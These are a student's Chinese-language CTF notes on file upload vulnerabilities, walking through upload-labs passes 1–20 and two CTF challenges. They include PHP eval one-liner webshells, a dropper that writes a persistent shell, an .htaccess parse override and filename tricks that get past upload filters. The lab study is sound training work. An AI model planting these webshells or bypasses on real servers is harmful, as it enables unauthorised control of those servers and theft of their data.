飞书链接:https://icnewi51k2yp.feishu.cn/wiki/EIIywCXJOif6XmksNIfcbsq4nbf?from=from_copylink

[Week6.1]蚁剑安装和文件上传绪论

蚁剑安装

对 CTF Web 学习者,蚁剑是上传后门文件后的核心管理工具。它能帮你可视化浏览服务器文件系统,快速找到并读取 / 下载 flag;也可直接执行系统命令(如 ls、whoami),实现服务器基础控制,无需手动反复输命令。其作用是将漏洞利用落地,让从 “找漏洞” 到 “拿权限” 更高效,是 CTF Web 题中获取服务器权限的常用工具。

文件上传绪论

  1. 漏洞到底是什么

网站里常见上传头像、附件这类功能,正常是传图片、文档这类无害文件的。但要是网站后台没做好文件检查,攻击者就能传恶意脚本文件(比如一句话木马),这就是文件上传漏洞。简单说,就是网站的 “文件安检” 出了问题,让危险文件混进了服务器。

  1. 漏洞能用来干嘛

攻击者传的恶意文件大多是叫 Webshell 的后门文件,传成功后就能控制服务器了。比如浏览服务器里的所有文件找 CTF 里的 flag,执行系统命令查看服务器信息,甚至篡改网站内容、偷取数据,危害特别大。

  1. 为啥会出现这漏洞

根源是网站的安全防护不到位。比如只在网页端用简单代码检查文件类型,很容易被绕过;或者只列了少数危险文件的黑名单,攻击者换个特殊后缀就蒙混过关了;还有的服务器没设置好权限,让上传目录里的文件能直接执行,这些都会催生漏洞。

  1. CTF 里常见的利用小思路

新手在 CTF 题里常会遇到 “图片马” 这种利用方式。比如把正常图片和一句话木马文件拼在一起生成新图片,网站检查时只看到是图片就允许上传。之后再通过工具让服务器解析这个图片里的恶意代码,就能连接服务器找 flag 了。

文件上传的进行

大致思路

绕过文件上传验证的规则,或者伪造正确文件,达到上传脚本文件的目的。

例如,我们可以尝试通过修改脚本文件后缀名(.php)为网站允许的正常文件类型(如.jpg),或者通过抓包修改 MIME 信息

达到绕过目的。

“恶意文件” 的含义与 “一句话木马”

文章里反复提 “Webshell”恶意脚本”,对零基础来说不用记复杂的,先聚焦最常用的一句话木马(CTF 题里 90% 会遇到):它是一行超短的代码,比如 PHP 语言的 <?php @eval($_POST['pass']);?>,作用是 “给服务器留个遥控器”—— 你把它藏在文件里传上服务器后,用蚁剑输入 “密码(pass)”,就能操控服务器。

为什么它危险?

就像你把家里的 “备用钥匙” 藏在门口地毯下(传木马文件),别人找到钥匙(用工具连接),就能随便进你家翻东西(读服务器文件、找 flag)、用你家设备(执行系统命令)。

文件上传常见验证

  • 后缀名,类型,文件头等
  • 后缀名黑名单或白名单
  • 文件类型:MIME 信息
  • 文件头:内容头信息

明确哪些参数能用抓包工具修改

Content-Disposition:一般可更改

name:表单参数值,不可更改

filename:文件名,可以更改

Content-Type:文件 MIME,视情况更改

下面我们用一个示例,来解释文件上传的全流程

管你听没听懂,看就完了

文件上传的举例(labs-1 流程)

这个举例做了他妈一上午啊

我们来到 upload-labs-1

要你上传一个图片,按理说我们只要不听他的话,上传一个你想执行 php 文件,然后再用文件包含的方式执行它就能得到 flag 了

但是我们打开网页源代码,发现 php 文件根本不允许上传

于是我们就想到先写个 php,再试着传 jpg,在传的瞬间使用 Burp 拦截,改成 php 就能绕过了

我们写个 flag.php,里面是我们想要执行的指令,这里加一个命令执行和 POST 变量 password,以便介绍蚁剑的使用

把拓展名改成 jpg,用 Burp 内嵌浏览器在 Burp 拦截下上传

选择文件,打开拦截

点击上传文件,上传被拦截,Burp 显示报告,我们将 flag.jpg 改成 flag.php,点击放行

flag.php 就正常地被上传了,我们找到靶场的上传路径

关闭拦截,输进 URL,指令被执行了

蚁剑获取网页文件

刚才我们用文件上传的方式执行了 lunix 命令,下面我们还可以使用蚁剑获取网页文件.

打开蚁剑添加数据,输入 flag.php 所在的地址以及刚刚的命令执行 post 变量,点测试连接报成功,直接点添加即可

[Week6.2]实验:文件上传漏洞举例

文件上传的漏洞种类有很多,这里按理论 + 实验的方式逐个介绍

(pass-1 属于前端效验,即浏览器自行效验,后面则全为后端效验)

后端 MIME 类型校验

  • 什么是 MIME 类型?:文件的 “身份标识”,比如.jpg 的 MIME 是 image/jpeg,.php 的 MIME 是 application/x-httpd-php
  • 题目漏洞:网站只看 MIME 类型是不是 “图片”,不看文件实际是啥。咱们用 Burp 把 shell.php 的 MIME 改成图片的,网站就会放行!

pass-02 实验举例

我们来到 pass-02,点显示源码,看到有对一些变量是否是”image/jpeg”的判断,可知本题是绕过后端 MIME 类型校验题

我们用 Burp 直接传木马

开启拦截点击上传,找到本行代表 MIME 值,修改成我们需要的 image/jpeg,点放行

运行通过

后缀名黑名单校验

怎么判断是 “黑名单校验”?(还是用 2 次上传实验)

  • 第一次:上传 shell.php(纯 PHP 后缀),页面提示 “不允许上传.php 类型文件”—— 明确告诉你 “禁止某个后缀”,不是 MIME 校验(MIME 会提示 “文件类型不正确”);
  • 第二次:上传 shell.jpg(正常图片),能成功上传 —— 说明只拦 “黑名单里的后缀”,允许的后缀能直接过。

黑名单漏洞在哪?

PHP 除了 .php 后缀,还有很多 “能被服务器解析成 PHP 代码” 的变种后缀(比如 .php5.phtml.php3 等),Pass-3 的黑名单只禁了 .php,没禁这些变种,咱们用它们就能伪装!

如果 .php5 不行(极少数情况服务器没配置解析),还能试这些 PHP 变种后缀(Pass-3 黑名单都没禁):

  • .phtml.php3.php4.php7.phps(选一个改文件名即可,比如 shell.phtml

pass-03 实验举例

我们打开源代码,发现本题过滤了 php 文件

我们直接传一个 php5 文件

不用拦截,直接点击上传就成功了,但发现有的格式他不会解析,直接回显的是源代码,换其他的格式即可

实际上,根据 pass-04 源代码,我们发现还有很多可行的绕过方式

更多可行的绕过方式

首尾加空格,用::$DATA 字符串,用大小写混合,在末尾加点等等,这些分别对应了 lab5-8 解题

注意 windows 系统下这些拓展名可能起不出,可以用 Burp 修改

::DATA 字符串我们不熟悉,可以看看

[非 php 解析方式]绕过 “超强后缀黑名单”(.htaccess 大法)

怎么判断是 “超强黑名单”?

  • 试上传前 3 关能用的后缀:shell.php(提示禁止)、shell.php5(禁止)、shell.phtml(禁止)—— 几乎所有 PHP 相关后缀都被拦了;
  • 试上传正常图片 test.jpg(成功),改 MIME 上传 shell.php(还是禁止)—— 说明不校验 MIME,只严格拦后缀黑名单。
  • 直接看回显。

漏洞关键:.htaccess 文件(Apache 服务器专属 “配置文件”)

  • .htaccess 是 Apache 服务器的 “目录级配置文件”,作用是:控制当前目录及子目录的文件解析规则;
  • Pass-4 的黑名单没禁 .htaccess(这是核心漏洞),咱们上传一个自定义的 .htaccess,告诉服务器:“这个目录里所有文件,不管后缀是什么,都按 PHP 解析!”;
  • 后续再上传一个 “后缀合法但藏了木马” 的文件(比如 shell.jpg),服务器会因为 .htaccess 的配置,把它当成 PHP 代码执行!

pass-04 实验举例

查看源码,看到本题:

我们新建一个 .htaccess 配置文件,告诉 Apache 服务器,所有 .jpg 后缀的文件,都按 PHP 代码解析.

1
AddType application/x-httpd-php .jpg

先上传 .htaccess 文件,再上传一个木马 jpg 文件,用蚁剑读后台发现都传上去了

读 muma4.jpg,发现失败了,注意文件名需要只含有拓展名

再次读 muma4,运行通过

[黑名单]绕过 “联合过滤”

怎么判断是 “多重过滤”?

  • 试 Pass-6 的 “末尾空格”(shell.php )→ 被拦(过滤空格);
  • 试 Pass-7 的 “末尾点”(shell.php.)→ 被拦(过滤末尾点);
  • 试 Pass-8 的 “::$DATA”(shell.php::$DATA)→ 被拦(过滤特殊标识);
  • 试单一变种后缀(.php5)、大小写(.PhP)→ 被拦(黑名单 + 大小写过滤);
  • 但试 “shell.php. .”(.php 后面加「点 + 空格 + 点」)→ 能放行!

漏洞关键:Windows 文件名 “多重过滤绕过”

Windows 处理文件名时,会按 “从后到前” 的顺序自动去除 末尾的点、空格,但不会一次性过滤 “点 + 空格 + 点” 的组合:

  • 你上传的文件名叫 shell.php. .(注意:.php 后面是「英文点 + 英文空格 + 英文点」);
  • 服务器校验时,会把文件名当成 shell.php. .(后缀是 .php. .,不在黑名单里,直接放行);
  • 保存时,Windows 会先去掉最后一个点 → 变成 shell.php. (带点 + 空格);
  • 再自动去掉末尾的空格 → 变成 shell.php.(带点);
  • 最后去掉末尾的点 → 最终还原成 shell.php(能正常解析 PHP);
  • 相当于 “用组合符号骗过程序校验,再让系统自动还原成合法恶意文件名”。

pass-09 实验举例

我们打开源码,发现确实这些都给过滤了…所以我们需要构造一个文件名进行多重过滤绕过

我们构造一个末尾是.php.空格.,来读读代码

这里先删除文件名末尾的点,只会删除空格之后,也就是末尾的一个点,接着首尾去空,把空格删去,最后检测文件名剩下.php.,它并不是被禁用的格式,因而上传成功

这里我们可能不清楚上传的文件到底要怎么访问,因为删去的文件名有点乱,可以直接右键获取图片地址再访问即可

[黑名单]双写后缀绕过(黑名单 + 单次字符过滤)

判断校验规则(做 3 个小实验)

  • 实验 1:上传 shell.php → 提示 “不允许上传该类型文件”(.php 在黑名单);
  • 实验 2:上传 shell.phphp → 还是被拦(服务器把中间的 “php” 删掉,变成 shell.php,依然触发黑名单);
  • 实验 3:上传 shell.pphphp → 放行!(服务器删掉中间的 “php”,变成 shell.php,但校验时识别的是 pphphp 后缀,不在黑名单)。

漏洞关键:服务器的 “单次替换” 逻辑

  • 咱们构造 pphphp → 服务器单次替换 “php” 后,变成 php(刚好是能解析的后缀);
  • 校验时,服务器看到的是 pphphp(不在黑名单),放行;保存后实际是 shell.php,能正常解析 PHP。

pass-10 实验举例

我们打开源代码,发现原本的文件名检测变成了把黑名单中的文件名直接替换成空,而且不构成循环,只替换一次

读一读上一关的代码,是直接检测,检测到了就无法上传了

那直接像 SQL 注入那样双写,点放行

显示上传成功

我们右键获取文件地址并访问,文件名自动变成.php 了,运行通过

[白名单]GET 参数 %00 空字符截断(白名单/只检测拓展名 + 拼接保存)

Pass-11 是文件上传的重要转折点 —— 从「黑名单绕过」正式进入「白名单绕过」,核心考点是 %00** 空字符截断**(HTTP 协议特性),利用服务器 “路径拼接 + 空字符结束” 的逻辑,绕开白名单后缀校验!

判断校验规则(做 2 个实验)

  • 实验 1:上传 shell.php → 提示 “不允许上传该类型文件”(.php 不在白名单);
  • 实验 2:上传 test.jpg → 成功上传(.jpg 在白名单:.jpg/.png/.gif);
  • 结论:服务器是「白名单校验」(只允许指定图片后缀),且校验的是 “文件名后缀”。

漏洞关键:%00 空字符的 “截断特性”

Pass-11 后端保存文件的核心逻辑(简化版):

php

运行

1
2
3
4
$save_path = "./uploads/" . $_GET['filename']; // 拼接“上传目录+GET参数传的文件名”
if (in_array(获取文件后缀($save_path), $白名单)) { // 检查后缀是否在白名单
move_uploaded_file(..., $save_path); // 保存文件
}
  • %00 是 HTTP 协议中的「空字符」,在 ASCII 表中编码是 0x00,代表 “字符串结束”;

  • 当我们给 GET 参数传 filename=shell.php%00.jpg 时:

    1. 校验阶段:服务器识别后缀是 .jpg(在白名单),放行;
    2. 保存阶段:服务器遇到 %00 就停止解析,实际保存路径变成 ./uploads/shell.php(后面的 .jpg 被截断);
  • 最终效果:用 .jpg 过白名单,实际保存的是 .php 木马文件!

pass-11 实验举例(传路径)

其实 %00 的可行是存在条件的,不然前面的题目都可以用 %00.我们读一下代码先

发现这里是先把文件拓展名给拿出来,单独检查文件拓展名,再拼接保存

这样我们只要保证拓展名在白名单中就可以了.

但是第十关之前,是检查整个文件名,只要含 php 就会出问题.

这里试了一下传木马的时候加个 %00.jpg,能成功上传,但读文件的时候失败了,蚁剑也提示上传的是 jpg

所以我们尝试修改上传的路径,点放行

放行成功,点获取地址后运行通过

[白名单]POST 参数 0x00 十六进制截断(白名单进阶)

关键原理:

POST 请求的参数放在「请求体」中,而非 URL,服务器不会主动解码 %00—— 比如你直接写 filename=shell.php%00.jpg,服务器会当成 shell.php%00.jpg 处理(%00 是两个字符:%00),无法截断;而十六进制 00 是「空字符的原始二进制编码」,服务器会直接识别为 “字符串结束”,从而触发截断。

pass-12 实验举例(post 传路径)

我们打开 burp suite 进行抓包,上传脚本文件。修改 save_path 值,在“upload/”后面加上“xxx.php a”,这里的“a”仅仅是为了显示空格。修改 filename 中的后缀名为合法后缀名。

然后进行关键一步,打开 Hex 选项修改十六进制码,找到“shell.php a”的位置,将空格对应的十六进制码“20”改成“00”。修改后发送数据包

接下来就是访问文件了,操作和上一关是一样的。

[图片马]绕过 “文件幻术头校验”

关键原理:

jpg 文件有它特定的”文件幻术头”,长度为 2*3 个字符,当本关检测的是文件幻术头时,需要用一张真正的 jpg 图片(它带有幻术头),使用软件把恶意代码嵌入进去(这里需要使用工具 UltraEdit),再执行.

注意:嵌入后的图片没办法用直接访问的方式执行,需要搭配文件包含,这是”文件马”类题的特点

pass-13 实验举例

读代码,发现是文件幻术头的检测,只有真正的 jpg 图片才有文件幻术头.

我们用工具打开一张 jpg 图片,观察文本编辑,第一行前六个字符就是所谓”文件幻术头”

我们直接编辑右边的非转码文字,将恶意代码嵌入,左边会自动转码.而后上传通过检测

上传发现并不报错,点击获取图片地址,用文件包含的形式打开(本关应当提供),代码就被执行了

pass-14/15 实验说明

对比 13 关,检查字节

14 关使用了 getimgize()函数,但是和 pass13 拥有相同做法

不过要注意的是 这些函数有的想 return true 有别的要求,所以有的时候 jpg 不行换 png,注意他会自动改文件名,要右击图片来获取地址

15 关同理,用的是 exif_imagetype()

  • getimgize()(Pass-14):检测文件头 + 基础图片结构并返回尺寸等信息,仅认真图片,忽略尾部内容;
  • exif_imagetype()(Pass-15):严格校验图片文件头标识,仅返回图片类型,同样忽略尾部附加内容。

[图片马]绕过 “图片二次处理 + 真图片校验”

Pass-16 是进阶强化关 —— 后端不仅用 exif_imagetype() 做真图片校验,还会对上传图片做 二次处理(如压缩、裁剪、格式转换),直接在尾部嵌代码会被处理工具 “清空”,核心思路是 “用比较工具比较二次处理前后什么是不变的,把代码插入不变的区域”(二次处理不会清洗注释区内容)。

pass-16 实验举例

先把被渲染的图片下载下来,直接右键图片,点击“另存图像为”,再将两个图像使用 010 工具中的比较文件打开

将被渲染后的图片与原来的图片进行对比,利用工具可以明显的看到渲染前后图像文件的异同

写入一句话木马,保存再上传即可

条件竞争漏洞

定义:条件竞争漏洞(Race condition)官方概念是——竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。这个漏洞存在于操作系统、数据库、web 等多个层面,像有名的脏牛(dirty cow)。

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

pass-17 实验举例

读代码 发现源码存在临时文件,因而可能存在条件竞争漏洞

这里用 Burp 实验并没有做成功,用蚁剑查后台文件看到上传成功了,贴一个别人成功了的文章吧

http://www.360doc.com/content/24/0910/17/83536423_1133653212.shtml

注意 burp 设置,改线程等

另外 AI 说可以在上传的 php 中构造恶意文件,然后一直访问上传的文件,访问成功了也会生成永久文件,也是一个思路.

  1. 新建 shell.php,内容:<?php file_put_contents('shell2.php','<?php @eval($_POST["mima"]);?>');?>(执行后生成新的持久恶意文件);
  2. 给文件加 JPG 文件头,改后缀为 shell.jpg(过白名单):
  3. plaintext
1
2
FF D8 FF
<?php file_put_contents('shell2.php','<?php @eval($_POST["mima"]);?>');?>

pass-18 实验说明

本关是图片马和条件竞争漏洞结合,会检测图片的幻术头,我们必须用图片爆破而非 php 脚本,同时读文件时要用文件包含

pass-19 实验说明

对后缀名的检测,使用 pass-3 下方的任意一种绕过方式均可

数组绕过 |pass-20 实验举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";

源码逻辑:

  1. 检查 MIME (通过抓包改 Content-Type 绕过)
  2. 判断 POST 参数 save_name 是否为空,
  3. 判断 $file 是否为数组,不是数组以 . 分割化为数组
  4. 取 $file 最后一个元素,作为文件后缀进行检查
  5. 取 $file 第一位和第$file[count($file) - 1] 作为文件名和后缀名保存文件

故:

上传 webshell.php, 修改 save_name 为数组 绕过对$file 的切割,最后$file 最后一个元素是 save_name[2] = jpg 绕过后缀检测 , 然后 reset($file) = webshell.php

$file[1] 没有定义为空,count($file) 的值为 $file[count($file) - 1] = $file[1]

所以最后上传的文件为 webshell.php

文件上传总结

允许用户上传文件是司空见惯的事,只要采取正确的预防措施,就不一定会有危险。一般来说,保护您自己的网站免受这些漏洞影响的最有效方法是实施以下所有做法:

  • 根据允许扩展名的白名单而不是禁止扩展名的黑名单检查文件扩展名
  • 确保文件名不包含任何可能被解释为目录或遍历序列 ( ../) 的子字符串。
  • 重命名上传的文件以避免可能导致现有文件被覆盖的冲突。
  • 在完全验证之前不要将文件上传到服务器的永久文件系统。
  • 尽可能使用已建立的框架来预处理文件上传,而不是尝试编写自己的验证机制。

文件上传漏洞一般是一对一的,白名单有白名单的解法,黑名单/图片马也有各自的解法,通过代码审计,可以实现解法漏洞一对一以完成解题

*[Week6.3]实验:文件上传漏洞实战

文件上传靶场 1-20

见 6.2 节

?ctf [Week2] Only Picture Up

来到题目,看提示是一个白名单漏洞,于是尝试 %00 空字符截断绕过白名单.

编写一个连接密码为 mima 的命令执行函数,以便后续蚁剑连接.

上传木马,发现没有途径可以改文件路径,我们选择直接改文件名

这里直接提示上传成功,点 direct link 它执行失败了,但 preview 可以正常运行代码

提示本行自己敲的 flag,证明代码成功运行了,复制现在的网址,用蚁剑连接,输入连接密码,即变量名 mima

添加数据后点进去,打开网站的文档库,发现旗帜位于根目录下的一个文档中.

做题启示

白名单的题你既可以改路径,又可以改文件名,只要是正确的 %00 截断,都可以运行通过

我只想要你的 PNG!(不会做)

一进来就是开拓者啊,令人眼前一亮

本题没给任何提示,令人眼前一黑!

传了个 php,他说只有 png 才能用,猜测是白名单

那还是试试 %00 截断吧

点放行,自己改名了

尝试访问,直接报错

打开网页源代码,发现有个 check.php

访问一下,执行的貌似是 ls,这些文件似乎都没有被改名

又试了下十六进制截断,还是不行,没辙了啊.这咋整

然后还试了试访问根目录下的文件,貌似这是个文件名拼接(?,但是访问也不成功,换了个环境让文件名不那么长,还是不成功,那不会了…下一题吧